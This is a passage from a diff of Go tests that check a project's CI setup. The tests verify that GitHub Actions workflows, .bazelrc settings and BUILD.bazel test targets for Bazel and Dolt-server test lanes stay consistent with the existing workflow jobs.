[]string{"pr.yml", "nightly.yml"} { + t.Run(caller, func(t *testing.T) { + uses := collectRunArtifactUploads(t, caller, nil, "") + var sawBazel bool + for _, u := range uses { + sawBazel = sawBazel || strings.Contains(u.where, "-> "+bazelWorkflowName+" job ") + } + if !sawBazel { + t.Fatalf("%s run has no upload from %s; the collector did not follow the call", caller, bazelWorkflowName) + } + for i, a := range uses { + if a.matrix && a.pattern == nil { + t.Errorf("%s: %s uploads fixed name %q from a matrix job; every leg collides", caller, a.where, a.name) + } + for _, b := range uses[i+1:] { + if bazelArtifactNamesCollide(a, b) { + t.Errorf("%s run: %s and %s both upload %q / %q", caller, a.where, b.where, a.name, b.name) + } + } + } + }) + } +} + +type runArtifactUpload struct { + name, where string + pattern *regexp.Regexp // nil when the name resolved to a literal + matrix bool +} + +func bazelArtifactNamesCollide(a, b runArtifactUpload) bool { + switch { + case a.pattern == nil && b.pattern == nil: + return a.name == b.name + case a.pattern == nil: + return b.pattern.MatchString(a.name) + case b.pattern == nil: + return a.pattern.MatchString(b.name) + } + return a.name == b.name +} + +// collectRunArtifactUploads lists the upload-artifact names of one run of +// file: its jobs' steps and, recursively, those of the local workflows its +// jobs call with their `with:` inputs (workflow_call defaults otherwise). +// inputs.X, `inputs.X || 'lit'` and env.X (job, then workflow env) resolve; +// any other expression (a matrix value) becomes a wildcard. +func collectRunArtifactUploads(t *testing.T, file string, with map[string]string, prefix string) []runArtifactUpload { + t.Helper() + path := filepath.Join(sourceRepoRoot(t), ".github", "workflows", file) + data, err := os.ReadFile(path) + if err != nil { + t.Fatal(err) + } + var doc struct { + On struct { + WorkflowCall struct { + Inputs map[string]struct { + Default any `yaml:"default"` + } `yaml:"inputs"` + } `yaml:"workflow_call"` + } `yaml:"on"` + Env map[string]string `yaml:"env"` + Jobs map[string]struct { + Uses string `yaml:"uses"` + With map[string]any `yaml:"with"` + Env map[string]string `yaml:"env"` + Strategy struct { + Matrix any `yaml:"matrix"` + } `yaml:"strategy"` + Steps []ciWorkflowStep `yaml:"steps"` + } `yaml:"jobs"` + } + if err := yaml.Unmarshal(data, &doc); err != nil { + t.Fatalf("parse %s: %v", path, err) + } + inputs := map[string]string{} + for name, in := range doc.On.WorkflowCall.Inputs { + if in.Default != nil { + inputs[name] = fmt.Sprint(in.Default) + } + } + for k, v := range with { + inputs[k] = v + } + exprRe := regexp.MustCompile(`\$\{\{\s*(.*?)\s*\}\}`) + inputOr := regexp.MustCompile(`^inputs\.([A-Za-z0-9_-]+)(?:\s*\|\|\s*'([^']*)')?$`) + envRef := regexp.MustCompile(`^env\.([A-Za-z0-9_]+)$`) + var out []runArtifactUpload + var names []string + for name := range doc.Jobs { + names = append(names, name) + } + sort.Strings(names) + for _, jobName := range names { + job := doc.Jobs[jobName] + if strings.HasPrefix(job.Uses, "./.github/workflows/") { + callWith := map[string]string{} + for k, v := range job.With { + callWith[k] = fmt.Sprint(v) + } + called := strings.TrimPrefix(job.Uses, "./.github/workflows/") + out = append(out, collectRunArtifactUploads(t, called, callWith, prefix+file+" job "+jobName+" -> ")...) + continue + } + var resolve func(s string, depth int) (string, bool) + resolve = func(s string, depth int) (string, bool) { + literal := true + res := exprRe.ReplaceAllStringFunc(s, func(m string) string { + inner := exprRe.FindStringSubmatch(m)[1] + if in := inputOr.FindStringSubmatch(inner); in != nil { + if v := inputs[in[1]]; v != "" { + return v + } + return in[2] + } + if e := envRef.FindStringSubmatch(inner); e != nil && depth < 4 { + v, ok := job.Env[e[1]] + if !ok { + v, ok = doc.Env[e[1]] + } + if ok { + r, lit := resolve(v, depth+1) + literal = literal && lit + return r + } + } + literal = false + return "\x00" + }) + return res, literal + } + for _, step := range job.Steps { + if actionFamily(step.Uses) != "actions/upload-artifact" { + continue + } + name, literal := resolve(step.With["name"], 0) + u := runArtifactUpload{name: name, where: prefix + file + " job " + jobName, matrix: job.Strategy.Matrix != nil} + if !literal { + parts := strings.Split(name, "\x00") + for i := range parts { + parts[i] = regexp.QuoteMeta(parts[i]) + } + u.pattern = regexp.MustCompile("^" + strings.Join(parts, ".+") + "$") + u.name = strings.ReplaceAll(name, "\x00", "*") + } + out = append(out, u) + } + } + return out +} + // Every action in the Bazel lane is pinned to a full commit SHA, with the same // released SHAs the Go lanes use, and the monolithic actions/cache is banned // here too (restore everywhere, save only where the topology says). func TestBazelWorkflowActionsArePinned(t *testing.T) { steps := map[string][]ciWorkflowStep{ - bazelWorkflowName: readCIWorkflow(t, bazelWorkflowName).job(t, bazelJobName).Steps, setupBazelActionDir + "/action.yml": readSetupBazelAction(t).Runs.Steps, } + for name, job := range readCIWorkflow(t, bazelWorkflowName).Jobs { + steps[bazelWorkflowName+" "+name] = job.Steps + } want := map[string]string{ + setupNodeActionFamily: setupNodeSHA, "actions/checkout": checkoutSHA, setupGoActionFamily: setupGoSHA, cacheRestoreActionFamily: cacheSHA, @@ -1538,8 +2381,8 @@ func TestBazelWorkflowActionsArePinned(t *testing.T) { if family == setupGoActionFamily && step.With["cache"] != "false" { t.Errorf("%s setup-go cache = %q, want false", file, step.With["cache"]) } - if family == cacheSaveActionFamily && file != bazelWorkflowName { - t.Errorf("%s step %q saves a cache; only %s's push-to-main step may", file, step.Name, bazelWorkflowName) + if family == cacheSaveActionFamily && file != bazelWorkflowName+" "+bazelJobName { + t.Errorf("%s step %q saves a cache; only %s's push-to-main step may", file, step.Name, bazelJobName) } } for _, step := range list { @@ -1634,6 +2477,851 @@ func TestBazelWorkflowRunsCIConfigWithReports(t *testing.T) { } } +// bazel.yml publishes a Bazel-built bd under pr.yml's build-artifacts contract +// (artifact name, file names, checksum file, retention), so the jobs that +// download ci-build-artifacts can switch to it without other edits. +func TestBazelWorkflowPublishesBuildArtifacts(t *testing.T) { + var prUpload ciWorkflowStep + for _, step := range readCIWorkflow(t, "pr.yml").job(t, "build-artifacts").Steps { + if actionFamily(step.Uses) == "actions/upload-artifact" { + prUpload = step + } + } + job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelJobName) + pkg := job.step(t, "Package bd (ci-build-artifacts layout)") + upload := job.step(t, "Upload build artifacts") + // Named by the build-artifact-name input, pr.yml's name by default; the + // run inside pr.yml renames it (TestBazelLaneIsGatedAlongsideLegacy) so + // the two uploads cannot collide. + if prUpload.With["name"] != "ci-build-artifacts" || + upload.With["name"] != "${{ inputs.build-artifact-name || '"+prUpload.With["name"]+"' }}" || + readBazelWorkflowCall(t).Inputs["build-artifact-name"].Default != prUpload.With["name"] { + t.Errorf("artifact name = %q, want the build-artifact-name input defaulting to pr.yml's %q", upload.With["name"], prUpload.With["name"]) + } + for _, key := range []string{"retention-days", "if-no-files-found"} { + if upload.With[key] != prUpload.With[key] { + t.Errorf("upload %s = %q, want pr.yml's %q", key, upload.With[key], prUpload.With[key]) + } + } + if pkg.ID == "" || upload.If != "${{ always() && steps."+pkg.ID+".outcome == 'success' }}" { + t.Errorf("upload if = %q; want it gated on the package step's success", upload.If) + } + // The commands live in a script that sources .buildflags itself, so the + // build-tag scan (scripts/check-build-tags.sh) still covers bazel.yml. + const script = "scripts/ci/package-bazel-bd.sh" + if pkg.Run != "./"+script+` "$RUNNER_TEMP/bd-artifacts"` { + t.Errorf("package step = %q, want %s", pkg.Run, script) + } + if strings.Contains(readPolicyFile(t, bazelPolicyRoot(t), ".github/workflows/"+bazelWorkflowName), ".buildflags") { + t.Errorf("%s mentions .buildflags; sourcing it would exempt the whole file from the build-tag scan", bazelWorkflowName) + } + body := readPolicyFile(t, bazelPolicyRoot(t), script) + for _, required := range []string{ + "set -euo pipefail", "source ./.buildflags", + "/bin/cmd/bd/bd_for_tests/bd", "bd-linux-gms-pure", "sha256sum bd-linux-gms-pure > SHA256SUMS", + "build-manifest.txt", "commit=", "go_version=", "build_tags=", "artifact=bd-linux-gms-pure", + } { + if !strings.Contains(body, required) { + t.Errorf("%s does not contain %q", script, required) + } + } + // test:ci must download the binary under --remote_download_minimal. + if !strings.Contains(readPolicyFile(t, bazelPolicyRoot(t), ".bazelrc"), "test:ci --remote_download_regex=.*/bin/cmd/bd/bd_for_tests/bd$") { + t.Error(".bazelrc test:ci does not download //cmd/bd:bd_for_tests") + } +} + +// bazel-doltserver replaces pr.yml's container-backed jobs: --config=doltserver +// (hermetic dolt sql-servers, remote-executable) by default, and a dolt-server +// target in every package those jobs run. --config=docker stays reachable as +// the A/B control (dispatch dolt-lane=docker), with the jobs' image pull. +func TestBazelDoltJobMirrorsContainerJobs(t *testing.T) { + pr := readCIWorkflow(t, "pr.yml") + job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelDoltJobName) + pull := job.step(t, "Pull Dolt sql-server image") + for _, name := range []string{"test-domain-uow", "contract-corpus"} { + if want := pr.job(t, name).step(t, "Pull Dolt sql-server image").Run; pull.Run != want { + t.Errorf("%s pulls the dolt image differently from %s (%q)", bazelDoltJobName, name, want) + } + } + if pull.If != "${{ env.BAZEL_DOLT_LANE == 'docker' }}" { + t.Errorf("%s pulls the dolt image with if %q; only the docker lane needs it", bazelDoltJobName, pull.If) + } + if got := job.Env["BAZEL_DOLT_LANE"]; got != "${{ inputs.dolt-lane || 'doltserver' }}" { + t.Errorf("%s BAZEL_DOLT_LANE = %q, want the doltserver lane unless dispatched otherwise", bazelDoltJobName, got) + } + test := job.step(t, "bazel test //... --config=doltserver") + if !strings.Contains(test.Run, `bazel test //... "--config=$BAZEL_DOLT_LANE"`) || !strings.Contains(test.Run, "set -o pipefail") { + t.Errorf("dolt lane step does not run the lane over //...:\n%s", test.Run) + } + if strings.Contains(test.Run, "--config=remote-exec") { + t.Errorf("dolt lane step selects remote-exec itself; setup-bazel's rc does that only when secrets are present") + } + assertTestStepKeepsExitStatus(t, test) + + rc := readPolicyFile(t, bazelPolicyRoot(t), ".bazelrc") + for _, want := range []string{"test:doltserver --test_tag_filters=dolt-server", "test:docker --test_tag_filters=requires-docker"} { + if !strings.Contains(rc, want+"\n") { + t.Errorf(".bazelrc lacks %q", want) + } + } + + // The packages those jobs run (test-domain-uow: domain/..., uow, + // tracker/... and doctor/fix; contract-corpus: protocol) each need a + // dolt-server target. Every such target, checked on its own, picks the + // local backend and fails closed, so a broken backend fails rather than + // skipping into a cached pass; the ones whose TestMain owns a server also + // set the package's own REQUIRE switch. Only under go test: scripts_test's + // runfiles hold no other package's BUILD. + if os.Getenv("TEST_SRCDIR") != "" { + return + } + root := sourceRepoRoot(t) + for pkg, docker := range map[string]bool{ + "internal/storage/domain": false, + "internal/storage/domain/db": true, + "internal/storage/domain/fs": false, + "internal/storage/domain/git": false, + "internal/storage/uow": true, + "internal/tracker": true, + "internal/tracker/conformance": false, + "cmd/bd/doctor/fix": true, + "cmd/bd/protocol": true, + } { + build := readPolicyFile(t, root, pkg+"/BUILD.bazel") + for _, err := range checkDoltServerRules(pkg, build) { + t.Error(err) + } + if docker && !strings.Contains(build, `"requires-docker"`) { + t.Errorf("%s/BUILD.bazel has no requires-docker variant for the docker A/B lane", pkg) + } + } +} + +// doltServerRuleEnv is the rule env every dolt-server target must set, and +// doltServerExtraEnv what particular targets need on top: the TestMain +// switches that turn a server which cannot start into a failure. +var ( + doltServerRuleEnv = []string{`"BEADS_TEST_DOLT_SERVER": "local"`, `"BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1"`} + doltServerExtraEnv = map[string][]string{ + "fix_dolt_test": {`"BEADS_FIX_REQUIRE_DOLT": "1"`}, + "protocol_dolt_test": {`"BEADS_PROTOCOL_REQUIRE_DOLT": "1"`}, + // Without it every proxied test self-skips (the jobs' step env). + "bd_proxied_test": {`"BEADS_TEST_PROXIED_SERVER": "1"`}, + // federation_test.go fails instead of skipping without a server. + "dolt_server_full_test": {`"BEADS_TEST_ENV_RUN_DOLT": "1"`}, + } + // doltServerLaneTags are the tags of the lanes whose targets start + // hermetic dolt sql-servers; checkDoltServerRules holds each of them to + // the same rules. + doltServerLaneTags = []string{"dolt-server", "dolt-server-proxied", "dolt-server-integration"} + bazelRuleNameRe = regexp.MustCompile(`(?m)^\s*name\s*=\s*"([^"]+)"`) +) + +// bazelTopRules splits a BUILD file into its top-level calls: each starts at +// a line matching bazelTopRuleRe and ends at the next line that is just ")". +func bazelTopRules(build string) []string { + var rules []string + var cur []string + in := false + for _, line := range strings.Split(build, "\n") { + if !in && bazelTopRuleRe.MatchString(line) { + in, cur = true, nil + } + if in { + cur = append(cur, line) + if line == ")" || (len(cur) == 1 && strings.HasSuffix(strings.TrimSpace(line), ")")) { + rules = append(rules, strings.Join(cur, "\n")) + in = false + } + } + } + return rules +} + +// doltServerRuleTag returns the dolt-server lane tag a rule carries, or "". +func doltServerRuleTag(rule string) string { + for _, tag := range doltServerLaneTags { + if strings.Contains(rule, `"`+tag+`"`) { + return tag + } + } + return "" +} + +// checkDoltServerRules checks each rule tagged for a dolt-server lane +// (doltServerLaneTags) in one package's BUILD file on its own (a file-wide +// search would accept another target's env), and that the package has at +// least one. +func checkDoltServerRules(pkg, build string) []error { + var errs []error + found := 0 + for _, rule := range bazelTopRules(stripStarlarkComments(build)) { + tag := doltServerRuleTag(rule) + if tag == "" { + continue + } + found++ + name := "?" + if m := bazelRuleNameRe.FindStringSubmatch(rule); m != nil { + name = m[1] + } + where := "//" + pkg + ":" + name + " (" + tag + ")" + for _, env := range append(append([]string{}, doltServerRuleEnv...), doltServerExtraEnv[name]...) { + if !strings.Contains(rule, env) { + errs = append(errs, errors.New(where+" lacks rule env "+env)) + } + } + if strings.Contains(rule, `"no-remote-exec"`) { + errs = append(errs, errors.New(where+" is tagged no-remote-exec; the lane runs on remote workers")) + } + } + if found == 0 { + errs = append(errs, errors.New(pkg+"/BUILD.bazel has no dolt-server target for the dolt-server lane")) + } + return errs +} + +// A dolt-server rule is checked on its own: another target in the same file +// (the docker variant) carrying the env must not cover for it. +func TestCheckDoltServerRulesPerTarget(t *testing.T) { + const docker = `sh_test( + name = "uow_docker_test", + env = { + "BEADS_TEST_DOLT_SERVER": "container", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + }, + tags = ["requires-docker", "no-remote-exec"], +) +` + good := `load("@rules_shell//shell:sh_test.bzl", "sh_test") + +` + docker + ` +# Tags: +# dolt-server: lane. +sh_test( + name = "uow_dolt_test", + env = { + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + }, + tags = ["dolt-server"], +) +` + if errs := checkDoltServerRules("p", good); len(errs) != 0 { + t.Errorf("good BUILD: %v", errs) + } + for name, bad := range map[string]string{ + "no require": strings.Replace(good, " \"BEADS_TEST_REQUIRE_DOLT_CONTAINER\": \"1\",\n },\n tags = [\"dolt-server\"]", " },\n tags = [\"dolt-server\"]", 1), + "container": strings.Replace(good, `"local"`, `"container"`, 1), + "no-remote-exec": strings.Replace(good, `tags = ["dolt-server"]`, `tags = ["dolt-server", "no-remote-exec"]`, 1), + "no target": docker, + "fix switch": strings.Replace(good, `"uow_dolt_test"`, `"fix_dolt_test"`, 1), + "protocol switch": strings.Replace(good, `"uow_dolt_test"`, `"protocol_dolt_test"`, 1), + "proxied switch": strings.Replace(strings.Replace(good, `"uow_dolt_test"`, `"bd_proxied_test"`, 1), + `tags = ["dolt-server"]`, `tags = ["dolt-server-proxied"]`, 1), + "run-dolt switch": strings.Replace(strings.Replace(good, `"uow_dolt_test"`, `"dolt_server_full_test"`, 1), + `tags = ["dolt-server"]`, `tags = ["dolt-server-integration"]`, 1), + "proxied container": strings.Replace(strings.Replace(good, `"local"`, `"container"`, 1), + `tags = ["dolt-server"]`, `tags = ["dolt-server-proxied"]`, 1), + "integration no-remote-exec": strings.Replace(good, `tags = ["dolt-server"]`, `tags = ["dolt-server-integration", "no-remote-exec"]`, 1), + } { + if bad == good { + t.Fatalf("%s: mutation did not apply", name) + } + if errs := checkDoltServerRules("p", bad); len(errs) == 0 { + t.Errorf("%s: accepted", name) + } + } +} + +// The default shard manifest of a PR Risk shard script. +var shardManifestDefault = regexp.MustCompile(`\$\{BEADS_TEST_SHARD_MANIFEST:-([^}]+)\}`) + +// bazelAttrBlock returns the text of a list attribute (` name = [` up to +// its closing ` ],`) of a rule block from bazelRuleBlock, or "". +func bazelAttrBlock(rule, name string) string { + i := strings.Index(rule, "\n "+name+" = [") + if i < 0 { + return "" + } + end := strings.Index(rule[i:], "\n ],\n") + if end < 0 { + return rule[i:] + } + return rule[i : i+end+7] +} + +// bazelRuleBlock returns the text of the top-level rule named name in a +// BUILD file, or "" if there is none. +func bazelRuleBlock(build, name string) string { + i := strings.Index(build, "\n name = \""+name+"\",\n") + if i < 0 { + return "" + } + start := strings.LastIndex(build[:i], "\n") + 1 + end := strings.Index(build[i:], "\n)\n") + if end < 0 { + return build[start:] + } + return build[start : i+end+3] +} + +// bazel-integration mirrors main.yml's integration jobs with the unmodified +// --config=integration (whose .bazelrc filter and flags +// TestBazelrcIntegrationLane pins): no extra filter, selector or remote +// config on the command line, a BEP for the test-count check, and no +// equivalence step. ci and integration share bazel-testlogs (review F3), so +// neither the integration lane in bazel-test nor --config=ci here. +func TestBazelIntegrationJob(t *testing.T) { + workflow := readCIWorkflow(t, bazelWorkflowName) + job := workflow.job(t, bazelIntegJobName) + if job.TimeoutMinutes > 45 { + t.Errorf("%s timeout-minutes = %d; it runs remotely only, keep it near the step's 30", bazelIntegJobName, job.TimeoutMinutes) + } + test := job.step(t, "bazel test //... --config=integration") + if test.TimeoutMinutes == 0 || test.TimeoutMinutes >= job.TimeoutMinutes { + t.Errorf("%s test step timeout-minutes = %d, want set and below the job's %d", bazelIntegJobName, test.TimeoutMinutes, job.TimeoutMinutes) + } + cmd := regexp.MustCompile(`\s*\\\n\s*`).ReplaceAllString(test.Run, " ") + const wantCmd = `bazel test //... --config=integration --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$?` + if !strings.Contains(cmd, wantCmd) || !strings.Contains(test.Run, "set -o pipefail") { + t.Errorf("%s test step does not run exactly %q:\n%s", bazelIntegJobName, wantCmd, test.Run) + } + if n := strings.Count(test.Run, "bazel test //"); n != 1 { + t.Errorf("%s test step runs bazel test %d times, want 1", bazelIntegJobName, n) + } + assertTestStepKeepsExitStatus(t, test) + count := job.step(t, "Every target and shard ran tests") + const wantCount = `python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" --not-go //tools/bazel:dolt_version_test` + if strings.TrimSpace(count.Run) != wantCount || + count.If != "${{ always() && steps.test.outcome != 'skipped' }}" || + (count.ContinueOnError != nil && count.ContinueOnError != false) { + t.Errorf("test-count step: if=%q continue-on-error=%v run=%q; want run %q", count.If, count.ContinueOnError, count.Run, wantCount) + } + logs := job.step(t, "Upload test logs") + if logs.If != "${{ failure() && steps.test.outcome != 'skipped' }}" || logs.With["name"] != "bazel-integration-testlogs" { + t.Errorf("test-log upload: if=%q name=%q", logs.If, logs.With["name"]) + } + for name, j := range workflow.Jobs { + for _, step := range j.Steps { + integ := strings.Contains(step.Run, "--config=integration") + if name == bazelIntegJobName && (strings.Contains(step.Run, "--config=ci") || strings.Contains(step.Run, "equivalence.py")) { + t.Errorf("%s step %q runs the ci lane or equivalence.py; they would read each other's bazel-testlogs", name, step.Name) + } + if name != bazelIntegJobName && integ { + t.Errorf("%s step %q runs --config=integration; only %s may (shared bazel-testlogs)", name, step.Name, bazelIntegJobName) + } + } + } + if err := checkBazelrcIntegrationLane(readPolicyFile(t, bazelPolicyRoot(t), ".bazelrc")); err != nil { + t.Error(err) + } +} + +// bazelrcLines returns .bazelrc's trimmed lines as a set. +func bazelrcLines(t *testing.T) map[string]bool { + t.Helper() + lines := map[string]bool{} + for _, line := range strings.Split(readPolicyFile(t, bazelPolicyRoot(t), ".bazelrc"), "\n") { + lines[strings.TrimSpace(line)] = true + } + return lines +} + +// assertBazelTierStep checks the test step of a remote-only tier job in +// bazel.yml: it runs exactly `bazel test //... --config=` with a BEP, +// keeps bazel's exit status, has a timeout below the job's, and is followed +// by check_testcases.py on that BEP. +func assertBazelTierStep(t *testing.T, job ciWorkflowJob, jobName, config string) { + t.Helper() + const id, bep, wantIf = "test", "bazel-bep.json", "" + step := job.step(t, "bazel test //... --config="+config) + if step.ID != id || step.If != wantIf || step.TimeoutMinutes == 0 || step.TimeoutMinutes >= job.TimeoutMinutes { + t.Errorf("%s step --config=%s: id=%q if=%q timeout-minutes=%d; want id %q, if %q, a timeout below the job's %d", + jobName, config, step.ID, step.If, step.TimeoutMinutes, id, wantIf, job.TimeoutMinutes) + } + cmd := regexp.MustCompile(`\s*\\\n\s*`).ReplaceAllString(step.Run, " ") + wantCmd := `bazel test //... --config=` + config + ` --build_event_json_file="$RUNNER_TEMP/` + bep + `"` + if !strings.Contains(cmd, wantCmd) || !strings.Contains(step.Run, "set -o pipefail") || strings.Count(step.Run, "bazel test //") != 1 || + strings.Contains(step.Run, "--config=remote-exec") || strings.Contains(step.Run, "--test_tag_filters") { + t.Errorf("%s step --config=%s does not run exactly %q:\n%s", jobName, config, wantCmd, step.Run) + } + assertTestStepKeepsExitStatus(t, step) + found := false + for _, s := range job.Steps { + if strings.TrimSpace(s.Run) == `python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/`+bep+`"` { + found = true + if s.If != "${{ always() && steps."+id+".outcome != 'skipped' }}" || (s.ContinueOnError != nil && s.ContinueOnError != false) { + t.Errorf("%s: check_testcases.py for %s: if=%q continue-on-error=%v", jobName, bep, s.If, s.ContinueOnError) + } + } + } + if !found { + t.Errorf("%s: no check_testcases.py step on %s (a shard or selector that runs no tests exits 0)", jobName, bep) + } +} + +// The proxied-server tier (pr-risk.yml "Test (Proxied Dolt Cmd N/15)"; main.yml's +// twin runs the same shard script on a non-race binary) and the server-Dolt storage tier (pr-risk.yml "Test (Server Dolt +// Conformance)", "Test (Server Dolt Full Suite N/16)") as Bazel variants: +// each manifest-sharded variant runs its jobs' shard script with their shard +// total, the conformance variant the job's exact flags, with the jobs' race +// setting, subprocess binaries and switches; the lanes' configs keep the +// jobs' selection, and the storage lane shares --config=integration's build. +// bazel.yml runs both tiers remotely only. +func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { + rc := bazelrcLines(t) + for _, want := range []string{ + "test:doltserver-proxied --@rules_go//go/config:race", + "test:doltserver-proxied --test_tag_filters=dolt-server-proxied", + "test:doltserver-proxied --test_timeout=-1,-1,-1,1200", + "test:doltserver-integration --test_tag_filters=dolt-server-integration", + "test:doltserver-integration --test_timeout=-1,-1,-1,1200", + } { + if !rc[want] { + t.Errorf(".bazelrc lacks %q", want) + } + } + var tierTags, integTags map[string]bool + for line := range rc { + for _, config := range []string{"doltserver-proxied", "doltserver-integration"} { + if strings.HasPrefix(line, "test:"+config+" ") && (strings.Contains(line, "-test.short") || strings.Contains(line, "BEADS_TEST_SKIP") || + strings.Contains(line, "-test.run") || strings.Contains(line, "-test.skip") || strings.Contains(line, "--test_filter")) { + t.Errorf(".bazelrc %q: the jobs run their scripts' selection, without -short or BEADS_TEST_SKIP", line) + } + } + if v, ok := strings.CutPrefix(line, "build:doltserver-integration --@rules_go//go/config:tags="); ok { + tierTags = tagSet(v) + } + if v, ok := strings.CutPrefix(line, "build:integration --@rules_go//go/config:tags="); ok { + integTags = tagSet(v) + } + } + // The same build flags as --config=integration, or the tier compiles the + // tagged graph once more. + if tierTags == nil || !sameTagSet(tierTags, integTags) { + t.Errorf(".bazelrc build:doltserver-integration tags = %v, want build:integration's %v", tierTags, integTags) + } + if rc["test:integration --@rules_go//go/config:race"] != rc["test:doltserver-integration --@rules_go//go/config:race"] { + t.Error(".bazelrc: test:doltserver-integration and test:integration differ in race; they must share their build") + } + + risk := readCIWorkflow(t, "pr-risk.yml") + build := risk.job(t, "build-embedded") + for step, want := range map[string]string{ + // The proxied jobs' test binary is this race build (--config= + // doltserver-proxied's bd_test), their subprocess bd the non-race one + // (bd_for_tests). + "Build embedded cmd test binary": "go test -tags gms_pure_go -race -c -o /tmp/bd-cmd-test ./cmd/bd/", + "Build proxied bd subprocess binary": "go build -tags gms_pure_go -o /tmp/bd-proxied ./cmd/bd/", + } { + if got := strings.TrimSpace(build.step(t, step).Run); got != want { + t.Errorf("pr-risk.yml %q = %q, want %q", step, got, want) + } + } + // main.yml's twin proxied jobs run build-artifacts' bd-cmd-test, which + // is not race: bd_proxied_test (race, like PR Risk's) is the stricter of + // the two. Pinned so a change there is a decision, not drift. + mainYML := readCIWorkflow(t, "main.yml") + if run := mainYML.job(t, "build-artifacts").step(t, "Build reusable Linux artifacts").Run; !strings.Contains(run, `go test -tags "$BEADS_BUILD_TAGS" -c -o artifacts/bd-cmd-test ./cmd/bd`+"\n") { + t.Errorf("main.yml build-artifacts no longer builds the non-race bd-cmd-test this tier is documented against (.bazelrc, cmd/bd:bd_proxied_test):\n%s", run) + } + if got := mainYML.job(t, "test-proxied-cmd").step(t, "Test proxied-server cmd shard").Env["BEADS_TEST_CMD_BINARY"]; got != "${{ github.workspace }}/ci-build-artifacts/bd-cmd-test" { + t.Errorf("main.yml test-proxied-cmd BEADS_TEST_CMD_BINARY = %q, want build-artifacts' bd-cmd-test", got) + } + // The server jobs' binary: integration-tagged (the lane's build tags) and + // not race (dolt_race_off). + m := regexp.MustCompile(`^go test -tags=(\S+) -c -o /tmp/dolt-conformance-test \./internal/storage/dolt/$`). + FindStringSubmatch(strings.TrimSpace(build.step(t, "Build server Dolt conformance test binary").Run)) + if m == nil || !sameTagSet(tagSet(m[1]), tierTags) { + t.Errorf("pr-risk.yml's server Dolt test binary is no longer the non-race `go test -tags= -c`: %v", m) + } + + type shardTier struct { + workflow, job, step, script, binVar, pkg, target, env string + } + tiers := []shardTier{ + {"pr-risk.yml", "test-proxied-cmd", "Test proxied-server cmd shard", ".github/scripts/proxied-test-shard.sh", "BEADS_TEST_CMD_BINARY", "cmd/bd", "bd_proxied_test", "BEADS_TEST_PROXIED_SERVER"}, + {"main.yml", "test-proxied-cmd", "Test proxied-server cmd shard", ".github/scripts/proxied-test-shard.sh", "BEADS_TEST_CMD_BINARY", "cmd/bd", "bd_proxied_test", "BEADS_TEST_PROXIED_SERVER"}, + {"pr-risk.yml", "test-server-storage-full", "Test", ".github/scripts/server-storage-test-shard.sh", "BEADS_TEST_SERVER_TEST_BINARY", "internal/storage/dolt", "dolt_server_full_test", "BEADS_TEST_ENV_RUN_DOLT"}, + } + for _, c := range tiers { + j := readCIWorkflow(t, c.workflow).job(t, c.job) + shards := len(j.Strategy.Matrix.Shard) + step := j.step(t, c.step) + if want := "bash " + c.script + " ${{ matrix.shard }} " + strconv.Itoa(shards); strings.TrimSpace(step.Run) != want { + t.Errorf("%s %s runs %q, want %q", c.workflow, c.job, step.Run, want) + } + if step.Env[c.env] != "1" { + t.Errorf("%s %s no longer sets %s=1; update %s:%s", c.workflow, c.job, c.env, c.pkg, c.target) + } + if os.Getenv("TEST_SRCDIR") != "" { + continue // scripts_test's runfiles hold no other package's BUILD + } + root := sourceRepoRoot(t) + rule := bazelRuleBlock(readPolicyFile(t, root, c.pkg+"/BUILD.bazel"), c.target) + for _, want := range []string{ + `srcs = ["//tools/bazel:go_test_manifest_shard.sh"],`, + `"$(rootpath //:` + c.script + `)",`, + `"` + c.binVar + `",`, + "shard_count = " + strconv.Itoa(shards) + ",", + `timeout = "eternal",`, + } { + if !strings.Contains(rule, want) { + t.Errorf("%s:%s does not contain %q (%s %s):\n%s", c.pkg, c.target, want, c.workflow, c.job, rule) + } + } + mm := shardManifestDefault.FindStringSubmatch(readPolicyFile(t, root, c.script)) + if mm == nil { + t.Fatalf("%s has no ${BEADS_TEST_SHARD_MANIFEST:-...} default manifest", c.script) + } + data := bazelAttrBlock(rule, "data") + for _, file := range []string{c.script, mm[1]} { + if !strings.Contains(data, `"//:`+file+`",`) { + t.Errorf("%s:%s data lacks //:%s (without the manifest every shard falls back to hashing):\n%s", c.pkg, c.target, file, data) + } + } + } + + conf := risk.job(t, "test-server-storage").step(t, "Test").Run + quoted := regexp.MustCompile(`(-test\.[a-z]+) '([^']*)'|(-test\.[a-z]+=\S+|-test\.v)`) + fields := strings.Fields(conf) + if len(fields) == 0 || fields[0] != "/tmp/dolt-conformance-test" { + t.Fatalf("pr-risk.yml test-server-storage no longer runs /tmp/dolt-conformance-test: %q", conf) + } + var wantArgs []string + for _, m := range quoted.FindAllStringSubmatch(conf, -1) { + if m[1] != "" { + wantArgs = append(wantArgs, `"`+m[1]+"="+strings.ReplaceAll(m[2], "$", "$$")+`",`) + } else { + wantArgs = append(wantArgs, `"`+m[3]+`",`) + } + } + if len(wantArgs) != 4 { + t.Fatalf("parsed %v from pr-risk.yml test-server-storage %q", wantArgs, conf) + } + + if os.Getenv("TEST_SRCDIR") == "" { + root := sourceRepoRoot(t) + doltBuild := readPolicyFile(t, root, "internal/storage/dolt/BUILD.bazel") + rule := bazelRuleBlock(doltBuild, "dolt_server_conformance_test") + for _, w := range append(wantArgs, `"$(rootpath :dolt_race_off)",`, `srcs = ["//tools/bazel:go_test_variant.sh"],`) { + if !strings.Contains(bazelAttrBlock(rule, "args")+rule, w) { + t.Errorf("dolt:dolt_server_conformance_test does not contain %q (pr-risk.yml test-server-storage):\n%s", w, rule) + } + } + if strings.Contains(rule, "BEADS_TEST_ENV_RUN_DOLT") { + t.Error("dolt:dolt_server_conformance_test sets BEADS_TEST_ENV_RUN_DOLT; test-server-storage does not") + } + if r := bazelRuleBlock(doltBuild, "dolt_race_off"); !strings.Contains(r, "go_test_race_off(") || !strings.Contains(r, `test = ":dolt_test",`) { + t.Errorf("dolt:dolt_race_off must be go_test_race_off of :dolt_test (the jobs' binary is not race):\n%s", r) + } + full := 